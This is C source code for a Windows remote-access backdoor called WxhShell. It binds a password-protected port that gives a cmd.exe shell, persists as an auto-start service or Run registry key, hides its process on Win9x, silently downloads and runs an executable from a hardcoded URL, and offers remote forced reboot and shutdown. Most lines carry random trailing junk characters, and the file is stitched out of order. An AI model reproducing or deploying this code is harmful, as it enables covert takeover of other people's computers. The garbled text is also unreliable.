    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yO=p3PV d  
    if(Boot(SHUTDOWN)) <;%0T xK|U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E/ijvuO  
    else { \<ZLoy_  
    closesocket(wsh); 4.8nY\_WF  
    ExitThread(0); {7qA&c=  
    } >8|+%pK8<  
    break; `fz,Lh*v  
    } 2JVxzj<~`  
  // 获取shell :j@8L.<U  
  case 's': { (3VGaUlx  
    CmdShell(wsh); ),=@q+{E{  
    closesocket(wsh); 1Y#HcW&  
    ExitThread(0); 3[r";Wt#  
    break; Z'Q*L?E8M  
  } %*kLEA*v  
  // 退出 c` , 2h#  
  case 'x': { FI8k;4|V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n$4|P O$X  
    CloseIt(wsh); MAnp{  
    break; %(`#A.yaE  
    } bg}+\/78#  
  // 离开 jq(qo4~;  
  case 'q': { 0 " y%9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); # ORO&78  
    closesocket(wsh); Rn-G @}f  
    WSACleanup(); 1}}>Un`U5,  
    exit(1); t,h{+lYU  
    break; ! RPb|1Y}+  
        } 9${Xer'  
  } \3aTaT?..  
  } 7d ;pvhnH  
%H& ].47  
  // 提示信息 V@%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \gItZ}+c4}  
} i.y=8GxY  
  } .%'Z~|K4  
4PWAGuN^  
  return; h%TLD[[/jr  
} .wy$-sG81  
WDkuB  
// shell模块句柄 44HiTWQS?l  
int CmdShell(SOCKET sock) .'1SZe7O  
{ /ZW&0 E  
STARTUPINFO si; _9@ >;]  
ZeroMemory(&si,sizeof(si)); >.<ooWw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Km!nM$=k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R* 9NR,C  
PROCESS_INFORMATION ProcessInfo; wAFW*rO5o  
char cmdline[]="cmd"; v$Uhm</|19  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `ZMK9f:  
  return 0; *V1J4 u  
} rwSbqL^eM  
yfEb  
// 自身启动模式 W%o|0j\1GU  
int StartFromService(void) cSK&[>i)4  
{ ufrqsv]=  
typedef struct Bu3T/m  
{ KKEN'-3  
  DWORD ExitStatus; >o~Z>lr  
  DWORD PebBaseAddress; \?Mf_  
  DWORD AffinityMask; [h&BAR/ 2  
  DWORD BasePriority; c*;7yh&%  
  ULONG UniqueProcessId; %}&(h/= e  
  ULONG InheritedFromUniqueProcessId; S&(^<gwl  
}   PROCESS_BASIC_INFORMATION; <&<,l58[c  
[ohBPQO  
PROCNTQSIP NtQueryInformationProcess; \.#p_U5In  
A&,,9G<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]|U-y6 45  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ECcZz.  
l&W;b6L  
  HANDLE             hProcess; bk<FL6z z  
  PROCESS_BASIC_INFORMATION pbi; KrcgIB8X  
A6{b?aQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B=X,7  
  if(NULL == hInst ) return 0; V&ot3- Rf  
C$9z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~@4'HMQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); syPWs57pH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .lNs4e  
! bU\zH  
  if (!NtQueryInformationProcess) return 0; Xsuwa-G!5~  
z0bJ?~w,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iqwkARG"  
  if(!hProcess) return 0; Ai"-w"  
'91".c,3?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F$MX,,4U  
MCc$TttaVz  
  CloseHandle(hProcess); @5VV|Wt=  
"D][e'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6!q#x[A  
if(hProcess==NULL) return 0; ^2JpWY:|7  
-$2kO`|p  
HMODULE hMod; Hkd^-=]]no  
char procName[255]; ymN!-x8q>'  
unsigned long cbNeeded; yx>_scv,T  
?okx<'"[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jS<_ )  
tPfFqqT  
  CloseHandle(hProcess); ]zfG~^.  
#VVr"*7$  
if(strstr(procName,"services")) return 1; // 以服务启动 -\,zRIOK  
+&|S'7&{  
  return 0; // 注册表启动 xV\5<7qk5g  
} $uDqqG(^  
TDtAmk  
// 主模块 ]N{0:Va@D  
int StartWxhshell(LPSTR lpCmdLine) Anm=*;*M`  
{ beXNrf=bG  
  SOCKET wsl; sJG5/w  
BOOL val=TRUE; NbRn*nb/T  
  int port=0; *G5c|Y  
  struct sockaddr_in door; 1.U`D\7mb  
c#/H:?q?a  
  if(wscfg.ws_autoins) Install(); E=]4ctK  
ut2~rRiK  
port=atoi(lpCmdLine); M@Q3M(z  
YDC&u8  
if(port<=0) port=wscfg.ws_port; ZD>a>]  
TX [%(ft  
  WSADATA data; ciQZHH2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^|MjJsn  
Q{g;J`Z)p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Tr&M~Lgb)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2aN<w'pA  
  door.sin_family = AF_INET; U/l?>lOD\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BX+.0M  
  door.sin_port = htons(port); _-TA{21)  
@A<PkpNL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tw=oH9c80  
closesocket(wsl); l fZ04M{2  
return 1; gB'fFkd  
} 5ETip'<KT6  
@`36ku  
  if(listen(wsl,2) == INVALID_SOCKET) { 4qi[r)G  
closesocket(wsl); [K/m  
return 1; tWeFEVg  
} 0\9K3  
  Wxhshell(wsl); o=J9  
  WSACleanup(); }J:+{4Yn  
5N[9 vW  
return 0; Z;l`YK^-  
8;14Q7,S  
} ?:{sH#ua  
tCG76LH  
// 以NT服务方式启动 v"& pQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <S75($  
{ ikD1N  
DWORD   status = 0; [BBEEI=|r  
  DWORD   specificError = 0xfffffff; T:]L/wCj  
BQH}6ueZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F[ ajOb8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "XgmuSQ!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b89a)k>^g  
  serviceStatus.dwWin32ExitCode     = 0; 'B5^P  
  serviceStatus.dwServiceSpecificExitCode = 0; ?S$i?\Qh  
  serviceStatus.dwCheckPoint       = 0; l:#-d.z#  
  serviceStatus.dwWaitHint       = 0; XQ%4L-rhN  
U6E\AvbRn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ev1 W6B-a  
  if (hServiceStatusHandle==0) return; 8mTM$#\  
l5xCz=dw  
status = GetLastError(); s~I6SA&i  
  if (status!=NO_ERROR) bHLT}x/Gw  
{ G;NF5`*4mc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dovZ#D@Q  
    serviceStatus.dwCheckPoint       = 0; gKLyL]kAGz  
    serviceStatus.dwWaitHint       = 0; &8.NT~"Gg  
    serviceStatus.dwWin32ExitCode     = status; 05yZad*  
    serviceStatus.dwServiceSpecificExitCode = specificError; )SryDRT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L(T12s  
    return; <JMcIV837  
  } bV8g|l-4(  
40E#JF#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k>x&Ip8p  
  serviceStatus.dwCheckPoint       = 0; ;Gx)Noo/>  
  serviceStatus.dwWaitHint       = 0; 9O{b]=>wq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l3Njq^T  
} y[B>~m8$  
~/^5) g_  
// 处理NT服务事件,比如:启动、停止 _Z5Mw+=19  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \`V;z~@iA  
{ # mize  
switch(fdwControl) {7TlN.(  
{ KL$bqgc(p3  
case SERVICE_CONTROL_STOP: ^7zu<lX  
  serviceStatus.dwWin32ExitCode = 0; 1I@8A>2^OX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N7E$G{TT  
  serviceStatus.dwCheckPoint   = 0; Hbv6_H  
  serviceStatus.dwWaitHint     = 0; kKC9{^%)  
  { T91moRv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); niB `2 J  
  } ARcB'z\r  
  return; ;XM{o:1Y[  
case SERVICE_CONTROL_PAUSE: F}Vr:~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =X.LA%Sf=u  
  break; Z{&cuo.@<]  
case SERVICE_CONTROL_CONTINUE: T~Q JO0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 24 1*!  
  break; @(r /dZc  
case SERVICE_CONTROL_INTERROGATE:  hI9  
  break; __mF ?m  
}; (/35p g6\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @gY)8xMbA  
}  V#VN %{  
q6YXM  
// 标准应用程序主函数 )K &(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KYzv$oK  
{ F:x [  
h=;{oY<V)?  
// 获取操作系统版本 w$JvB5O  
OsIsNt=GetOsVer(); H":oNpfb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3R+|5Uq8~  
2-Y<4'>  
  // 从命令行安装 TB0 5?F  
  if(strpbrk(lpCmdLine,"iI")) Install(); !K|5bK  
mI74x3 [  
  // 下载执行文件 SlsdqP 9  
if(wscfg.ws_downexe) { oudxm[/U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lNSLs"x^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,VO2a mI  
} 8WnwQ%;m?  
|sJSN.8  
if(!OsIsNt) { E>l~-PaZY  
// 如果时win9x,隐藏进程并且设置为注册表启动 9B;{]c  
HideProc(); lg^Z*&(  
StartWxhshell(lpCmdLine); 7uzk p&+:  
} 9a8cRt6knO  
else ]+X@ 7  
  if(StartFromService()) s[UHe{^T  
  // 以服务方式启动 B}^w_C2  
  StartServiceCtrlDispatcher(DispatchTable); UFMA:o,  
else eM8}X[  
  // 普通方式启动 | Bi!  
  StartWxhshell(lpCmdLine); Bve.C  
HTG%t/S  
return 0; ti \wg  
} }_ 9Cxji  
=>-Rnc@  
B_.%i+ZZ  
'inFKy'H  
=========================================== I_]^ .o1q  
^0Mt*e{q  
]q4rlT.i  
Dh=9Gns9  
@;"|@!l|  
8i2n;LAz  
" z<Nfm  
7 qS""f7  
#include <stdio.h> -f DnA4;  
#include <string.h> hIT+gnhh  
#include <windows.h> .[_L=_.  
#include <winsock2.h> &q9T9A OS  
#include <winsvc.h> v/_  
#include <urlmon.h> c Vc-  
6Yln, rC  
#pragma comment (lib, "Ws2_32.lib") ?` ?)QE8  
#pragma comment (lib, "urlmon.lib") nR*ryv  
m;,N)<~  
#define MAX_USER   100 // 最大客户端连接数 zolt$p  
#define BUF_SOCK   200 // sock buffer Z.Lc>7o  
#define KEY_BUFF   255 // 输入 buffer 7<*yS310  
:=Nz }mUV  
#define REBOOT     0   // 重启 ,y#Kv|R  
#define SHUTDOWN   1   // 关机 o2F)%TDY  
?{[ v+t#  
#define DEF_PORT   5000 // 监听端口 J\b^)  
y gz6C  
#define REG_LEN     16   // 注册表键长度 A*\.NTM  
#define SVC_LEN     80   // NT服务名长度 z:wutqru  
%%[LKSTb  
// 从dll定义API x<ZJb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -Fe?R*-g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #pnI\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )P sY($ &  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NPp;78O0[  
'd9INz.  
// wxhshell配置信息 @u6B;)'l  
struct WSCFG { a!v1M2>  
  int ws_port;         // 监听端口 t7aefV&_,  
  char ws_passstr[REG_LEN]; // 口令 :/nj@X6  
  int ws_autoins;       // 安装标记, 1=yes 0=no cPlZXf  
  char ws_regname[REG_LEN]; // 注册表键名 H*PSR  
  char ws_svcname[REG_LEN]; // 服务名 eceP0x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fumm<:<CLO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 50S&m+4d+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _z|65H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C&(N I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tw-;7Ae  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ``hf=`We  
gtppv6<Mj4  
}; D9H?:pmv?  
asppRL||  
// default Wxhshell configuration 8.O8No:'&  
struct WSCFG wscfg={DEF_PORT, I=`U7Bis"  
    "xuhuanlingzhe", V@g'#= {r  
    1, ;~m8;8)  
    "Wxhshell", uxr #QA  
    "Wxhshell", S4_YT@VD%  
            "WxhShell Service", a .k.n<  
    "Wrsky Windows CmdShell Service", f*?]+rz  
    "Please Input Your Password: ", },{$*f[  
  1, rX2.i7i,  
  "http://www.wrsky.com/wxhshell.exe", yPb"V  
  "Wxhshell.exe" !$gR{XH$]  
    }; )"7iJb<E  
AP 2_MV4W  
// 消息定义模块 Pd_U7&w,5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !Dn,^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; at,XB.}Z]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4O^xY 6m  
char *msg_ws_ext="\n\rExit."; 8;JWK3Gv  
char *msg_ws_end="\n\rQuit."; '-Vt|O_Q  
char *msg_ws_boot="\n\rReboot..."; . 1Dg s=|  
char *msg_ws_poff="\n\rShutdown..."; I;wp':  
char *msg_ws_down="\n\rSave to "; +%h8r5o1  
YJT&{jYi  
char *msg_ws_err="\n\rErr!"; vApIHI?-  
char *msg_ws_ok="\n\rOK!"; G[uK-U  
(x;@%:3j$  
char ExeFile[MAX_PATH]; <L8'!q}  
int nUser = 0; oqO(PU  
HANDLE handles[MAX_USER]; @@Kp67Iv  
int OsIsNt; 8V`WO6*  
EE06h-ns  
SERVICE_STATUS       serviceStatus; &5B'nk"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vXrx{5gz  
YYBDRR"  
// 函数声明 (c=6yV@  
int Install(void); \ C+~m  
int Uninstall(void); 1#< '&Lr  
int DownloadFile(char *sURL, SOCKET wsh); 7x|9n  
int Boot(int flag); T $>&[f$6  
void HideProc(void); ?]_$Dcmx  
int GetOsVer(void); bN1|q| 9  
int Wxhshell(SOCKET wsl); %K=?@M9i  
void TalkWithClient(void *cs); <lPm1/8  
int CmdShell(SOCKET sock); *v!9MU9[(  
int StartFromService(void); l<58A7  
int StartWxhshell(LPSTR lpCmdLine); he;dq)-e9  
+V ;l6D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 61C7.EZZ;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4DI8s4fi  
P~>O S5^  
// 数据结构和表定义 H)kwQRfu  
SERVICE_TABLE_ENTRY DispatchTable[] = #wwH m3  
{ |6sp/38#p  
{wscfg.ws_svcname, NTServiceMain}, _)3|f<E_t)  
{NULL, NULL} 823Y\x~>  
}; Q4#m\KK;i9  
U)] oO  
// 自我安装 /K@XzwM  
int Install(void) ;PF<y9M  
{ {4<C_52t  
  char svExeFile[MAX_PATH]; N2^=E1|_  
  HKEY key; !C ':  
  strcpy(svExeFile,ExeFile); uP)'FI  
_^Ubs>d=*  
// 如果是win9x系统,修改注册表设为自启动 99e.n0  
if(!OsIsNt) { /$Nsd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3w*R&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2j [=\K]  
  RegCloseKey(key); JzQ_{J`k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y4?0j:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xX&+WR  
  RegCloseKey(key); fgp]x&5Q  
  return 0; n,y ZRY  
    } \h/H#j ZJ  
  } ]vUwG--*  
} cKca;SNql1  
else { G:<aB  
#4 <SAgq  
// 如果是NT以上系统,安装为系统服务 *SJ_z(CZm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,aZ[R27rpL  
if (schSCManager!=0) >C>.\  
{ ? =Z?6fw  
  SC_HANDLE schService = CreateService C`hU]  
  (  ~d.Y&b  
  schSCManager, ,wb:dj-  
  wscfg.ws_svcname, K<3A1'_  
  wscfg.ws_svcdisp, X]TG<r  
  SERVICE_ALL_ACCESS, )hsgC'H{~]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ko<:Z)PS  
  SERVICE_AUTO_START, w3ResQ   
  SERVICE_ERROR_NORMAL, 2~)`N>@  
  svExeFile, D0-3eV -  
  NULL, z#wkiCRYm  
  NULL, T4Uev*A  
  NULL, /l ~p=PK  
  NULL, Cv.C;H  
  NULL lfow1WRF  
  ); *w`sM%]Rq  
  if (schService!=0) vH@ds k  
  { 2*& ^v  
  CloseServiceHandle(schService); vm8eZG|  
  CloseServiceHandle(schSCManager);  ?(1 y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `g=J%p  
  strcat(svExeFile,wscfg.ws_svcname); 6xx ?A>:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6P l<'3&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MAR'y8I  
  RegCloseKey(key); Gx/Oi)&/  
  return 0; ASA,{w]  
    } ~,Zc%s~|  
  } +Mb.:_7'  
  CloseServiceHandle(schSCManager); dFB]~QEK  
} GR_-9}jQP  
} `4J$Et%S  
h7Kzq{$  
return 1; %YscBG  
} -`h)$&,  
IFL*kB   
// 自我卸载 &DX! f  
int Uninstall(void) EI%89i`3^  
{ A}9`S6@@  
  HKEY key; ~qKY) "gG  
0v?"t OT!  
if(!OsIsNt) { Ffz,J6b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JX;G<lev  
  RegDeleteValue(key,wscfg.ws_regname); FDs>m #e  
  RegCloseKey(key); )Nw8O{\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YK'<NE3 4  
  RegDeleteValue(key,wscfg.ws_regname); +7.',@8_V  
  RegCloseKey(key); |0b`fOS  
  return 0; Cl7xt}I  
  } kgP0x-Ap  
} +'HqgSPyb  
} cF}".4|kZ<  
else { UB@+c k  
pz*3N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F^;ez/Gl  
if (schSCManager!=0) 7Ovi{xd@  
{ ^jZbo {  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m<Dy<((_I  
  if (schService!=0) FTUv IbT  
  { |/{=ww8|  
  if(DeleteService(schService)!=0) { VlsnL8DV  
  CloseServiceHandle(schService); f.$af4 u  
  CloseServiceHandle(schSCManager); .M%}X7  
  return 0; qo bc<-  
  } *.t 7G  
  CloseServiceHandle(schService); .W!i7  
  } (hbyEQhF  
  CloseServiceHandle(schSCManager); O_7|C\]  
} VY4yS*y  
} sDlO#  
aEeodA<(  
return 1; Z@!+v 19^  
} mz0X3  
hRhe& ,v  
// 从指定url下载文件 YNF k  
int DownloadFile(char *sURL, SOCKET wsh) 7Ak6,BuI%  
{ 5U$0F$BBp  
  HRESULT hr; ]N?kG`[  
char seps[]= "/"; ^u ~Q/ 4  
char *token; 0aB;p7~&  
char *file; igPX#$0XU  
char myURL[MAX_PATH]; W^l-Y %a/o  
char myFILE[MAX_PATH]; 2E'UZ m  
!%c\N8<>GD  
strcpy(myURL,sURL); )jP1or  
  token=strtok(myURL,seps); Yc?*dUV  
  while(token!=NULL) e(t\g^X  
  { @:#eb1 <S  
    file=token; p<"mt]  
  token=strtok(NULL,seps); zQd 2  
  } 64tvP^kp  
k5pN  
GetCurrentDirectory(MAX_PATH,myFILE); %* }(}~  
strcat(myFILE, "\\"); 2\{zmc}G-0  
strcat(myFILE, file); uK Hxe~  
  send(wsh,myFILE,strlen(myFILE),0); DB}eA N/  
send(wsh,"...",3,0); 4H&+dR I"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rima;9.Y0  
  if(hr==S_OK) AoxA+.O  
return 0; U>N1Od4vTO  
else m9rp8r*e  
return 1; T_4/C2  
,k3FRes3  
} $xN|5;+  
0 kW,I  
// 系统电源模块 &D*b|ilvc  
int Boot(int flag) C~/a-  
{ J)-x!y>  
  HANDLE hToken; Sdryol<  
  TOKEN_PRIVILEGES tkp; $=4QO  
0L52#;?Si"  
  if(OsIsNt) { ]c'A%:f<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T6=u P)!K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a&? :P1$  
    tkp.PrivilegeCount = 1; .$vK&k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jse&DQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S)@j6(HC4  
if(flag==REBOOT) { sXFZWj }\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4o[{>gW  
  return 0; "^GGac.  
} \dah^mw"  
else { )Pv%#P-<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6Z"X}L,*  
  return 0; 0o&5 ]lEe  
} $IpccZpA  
  } VI *$em O0  
  else { RZTiw^  
if(flag==REBOOT) { yJIscwF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;aVZ"~a+\  
  return 0; 9hyn`u.  
} ;Rl x D 4p  
else { jmG~UnM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CU!Dhm/U  
  return 0; b&U62iq  
} c7H^$_^=  
} } 0y"F  
|`FY1NN   
return 1; KMax$  
} t%8BK>AHvw  
G 01ON0  
// win9x进程隐藏模块 S,8e lKH4  
void HideProc(void) p5*EA x  
{ =7UsVn#o  
^S; -fYW2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2GG2jky{/  
  if ( hKernel != NULL ) TWX.D`W  
  { =?8@#]G+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2&cT~ZX&'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m9;SrCN_  
    FreeLibrary(hKernel); #GFr`o0$^  
  } @2i9n  
)boE/4  
return; -mh3DhJ,  
} r<$y= B  
M"L=L5OH-  
// 获取操作系统版本 }x ,S%M-  
int GetOsVer(void) apn*,7ps65  
{ 1|:KQl2q  
  OSVERSIONINFO winfo; UPGtj"2v-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s5. CFA  
  GetVersionEx(&winfo); *0ro0Z|Iq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6 !bsM"F  
  return 1; Q,Eo mt  
  else |w3M7;~eF  
  return 0; gRzxLf`K  
} 19#\+LWA  
D2O~kN d  
// 客户端句柄模块 3OB"#Ap8<  
int Wxhshell(SOCKET wsl) noj0F::m`j  
{ @2#lI  
  SOCKET wsh; qxc[M8s  
  struct sockaddr_in client; MHwIA*R  
  DWORD myID; NHE18_v5  
!VzC&>'v^9  
  while(nUser<MAX_USER)  ~$J2g  
{ ia? c0xL  
  int nSize=sizeof(client); B)UZ`?>c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w32y3~  
  if(wsh==INVALID_SOCKET) return 1; 9- # R)4_  
fN2lLn9/u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CvdN"k  
if(handles[nUser]==0) -:rUw$3J  
  closesocket(wsh); wuo,kM  
else 8 FhdN  
  nUser++; :23P!^Y  
  } !5N.B|N t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xyxy`qRA  
@(lh%@hO  
  return 0; |vC~HJpuv'  
} E" vS $  
2KZneS`  
// 关闭 socket ;FEqe 49  
void CloseIt(SOCKET wsh) [fy LV`  
{ K)P%;X  
closesocket(wsh); !@"OB~  
nUser--; rZpXPI  
ExitThread(0); QsW/X0YBv  
} Fj!U|l\_9  
H;"4 C8K7  
// 客户端请求句柄 !`r$"}g  
void TalkWithClient(void *cs) ajpX L  
{ 8?C5L8)  
#LNED)Vg  
  SOCKET wsh=(SOCKET)cs; 'hf8ZEW9'  
  char pwd[SVC_LEN]; yDh6KUK  
  char cmd[KEY_BUFF]; D/' dTrR  
char chr[1]; +H2Qk4XFB  
int i,j; 4Po_-4  
C9;kpqNG#u  
  while (nUser < MAX_USER) { c*M} N?|6  
,"ql5Q4  
if(wscfg.ws_passstr) { ##ANrG l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :zR!/5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T8NxJmYqB  
  //ZeroMemory(pwd,KEY_BUFF); T^q 0'#/  
      i=0; Mb=" Te>|  
  while(i<SVC_LEN) { fXB0j;A  
`F6C-  
  // 设置超时 ?@89lLD  
  fd_set FdRead; :v 4]D4\o  
  struct timeval TimeOut; paMa+jhQQ  
  FD_ZERO(&FdRead); FgO)DQm  
  FD_SET(wsh,&FdRead); _vZOZKS+  
  TimeOut.tv_sec=8; IGN1gs  
  TimeOut.tv_usec=0; B/C,.?Or  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -F>jIgeC2v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wA.\i  
:@&/kyGH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DTs;{c  
  pwd=chr[0]; }~q5w{_n  
  if(chr[0]==0xd || chr[0]==0xa) { ']oQ]Yx0  
  pwd=0; [Nq*BrzF  
  break; 2?i7 UvV  
  } L0]_X#s>#  
  i++; eQ}4;^;M-  
    } <-0]i_4sK  
azU"G(6y?+  
  // 如果是非法用户,关闭 socket Y^]rMK/;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O H7FkR  
} =w^M{W.w  
K+iP 6B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E)3NxmM#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )}ROLe  
(iGTACoF  
while(1) { B?wq=DoG  
2+O'9F_v  
  ZeroMemory(cmd,KEY_BUFF); We z 5N  
O'~+_ykTl  
      // 自动支持客户端 telnet标准   BORA(,  
  j=0; U ;I9 bK8  
  while(j<KEY_BUFF) { Aa]"   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t:c.LFrF  
  cmd[j]=chr[0]; /L#?zSt  
  if(chr[0]==0xa || chr[0]==0xd) { mcok/,/  
  cmd[j]=0; L8n|m!MOD  
  break; y_9Ds>p!T  
  } 6zn5UW#q  
  j++; D#z:()VT(  
    } ze;KhUPRm  
-{_PuJ "  
  // 下载文件 bjS {(  
  if(strstr(cmd,"http://")) { 3mni>*q7d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y3ikWnx  
  if(DownloadFile(cmd,wsh)) 59-c<I/}f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2)6s\]/b  
  else lys#G:H]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &~w}_Fjk  
  } yppo6HGD  
  else { $7uA%|\  
u-C)v*#L  
    switch(cmd[0]) { ,Lt[\_  
